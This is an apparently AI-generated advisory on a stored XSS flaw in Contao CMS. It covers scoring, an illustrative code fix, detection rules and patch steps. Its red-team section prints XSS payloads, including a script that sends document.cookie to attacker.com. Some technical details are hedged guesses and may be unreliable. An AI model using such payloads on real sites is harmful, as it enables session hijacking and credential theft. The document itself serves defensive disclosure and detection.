CVE-2025-65961
Executive Summary
CVE-2025-65961 is a stored Cross-Site Scripting (XSS) vulnerability in the Contao Open Source CMS, affecting versions 4.0.0 through 4.13.56, 5.0.0 through 5.3.41, and 5.4.0 through 5.6.4. The vulnerability allows an attacker to inject malicious JavaScript code into template output, which is then executed in the browser of any user viewing the affected page in both the front end and back end. This can lead to session hijacking, credential theft, and unauthorized actions performed on behalf of authenticated users. The vulnerability has been patched in versions 4.13.57, 5.3.42, and 5.6.5. A workaround involves manually patching or avoiding the use of affected templates. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Contao is a PHP-based CMS distributed via Composer. The vulnerability exists in the core template rendering engine, not in a third-party package. However, organizations using Contao should verify their dependency tree for any custom or third-party templates that may also be vulnerable. The official patch is available via the Contao repository and Composer package manager. Users should update to the patched versions immediately.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 3.3 (Low)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – the victim must visit a crafted page or click a malicious link.
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of content.
- Availability Impact: None (A:N)
Threat Level: Low. The requirement for user interaction and the low impact reduce the immediate risk. However, in a CMS context, XSS can be chained with other vulnerabilities or used for social engineering attacks.
Deep Dive & Mechanics
The vulnerability resides in Contao's template engine, which processes user-supplied data (e.g., form fields, URL parameters, or database content) and inserts it into HTML templates without proper sanitization. Specifically, the insertTag functionality or template variables are not escaping output in certain contexts, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Vector:
- An attacker with the ability to create or modify content (e.g., a low-privileged editor or via a stored XSS in a comment/form) injects a payload like
<script>alert('XSS')</script>into a field that is rendered by a vulnerable template. - When an administrator or other user views the page, the script executes in their browser context.
- The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the site.
Root Cause: Lack of output encoding in template variables. Contao uses a custom template engine that does not automatically escape HTML entities in all contexts, particularly in attributes or JavaScript blocks.
Vulnerable vs. Patched Code
Vulnerable Code (example from a template file, e.g., fe_page.html5):
<div class="username"><?= $this->username ?></div>
Here, $this->username is output directly without escaping.
Patched Code:
<div class="username"><?= $this->escape($this->username) ?></div>
The patched version uses an escape() method (or equivalent) that applies htmlspecialchars() to the output, preventing XSS.
Additional Context: The patch also includes fixes for template variables used in JavaScript contexts, where addslashes() or JSON encoding is applied.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A vulnerable Contao instance (e.g., version 4.13.56).
- Ability to inject content into a field rendered by a vulnerable template (e.g., a news article title, a form field, or a user profile field).
Exploitation Steps:
- Identify a vulnerable input field. For example, the "headline" field in a news article.
- Inject the following payload:
<img src=x onerror=alert(document.cookie)> - Save the content and navigate to the page where the headline is displayed.
- The JavaScript executes, displaying the session cookie.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Note: No public exploit code or Nuclei template is available at this time.
Blue Team (Detection & Hardening)
Detection:
- Monitor web server logs for unusual characters in POST/GET parameters (e.g.,
<script>,onerror=,javascript:). - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Apply the patch immediately (update to 4.13.57, 5.3.42, or 5.6.5).
- If patching is not possible, manually review and escape output in all custom templates using
{{ value|e('html') }}(Twig) orhtmlspecialchars()(PHP). - Disable unused templates and features.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to unknown domains containing cookie data (e.g.,
GET /steal?cookie=...). - Suspicious User-Agent strings or referrer headers.
File System IOCs:
- Modified template files (
.html5or.twig) containing unescaped variables. - Presence of JavaScript payloads in database fields (e.g.,
news,form_data).
Log IOCs:
- Web server logs showing
alert(,onerror=, orfetch(in request parameters. - Repeated 404 errors from automated scanning tools.
Detection Engineering
YARA Rule
rule CVE_2025_65961_Contao_XSS {
meta:
description = "Detects potential XSS payloads in Contao template files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-65961"
strings:
$xss1 = /<\s*script[^>]*>/i
$xss2 = /on\w+\s*=\s*['"]?[^'"]*['"]?/i
$xss3 = /javascript\s*:/i
$unescaped = /\$\s*->\s*\w+\s*(?!\|)/ // Unescaped variable in PHP template
condition:
any of ($xss*) and $unescaped
}
Sigma Rule
title: Contao XSS via Template Injection
id: 8f4a3b2c-1d5e-4f6a-8b7c-9d0e1f2a3b4c
status: experimental
description: Detects potential XSS attempts targeting Contao CMS
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in admin panels
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-65961 Contao XSS Attempt"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-65961 Contao XSS Payload in POST"; flow:to_server,established; content:"onerror="; http_client_body; nocase; sid:1000002; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Update Contao to version 4.13.57, 5.3.42, or 5.6.5 using Composer:
composer require contao/core-bundle:4.13.57 - Workaround: If patching is delayed, manually edit all template files (
.html5or.twig) to escape output using{{ value|e('html') }}orhtmlspecialchars().
Long-term Measures:
- Implement a Content Security Policy (CSP) to restrict inline scripts.
- Regularly audit custom templates for unescaped variables.
- Use a Web Application Firewall (WAF) with XSS protection rules.
- Conduct periodic security training for content editors.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.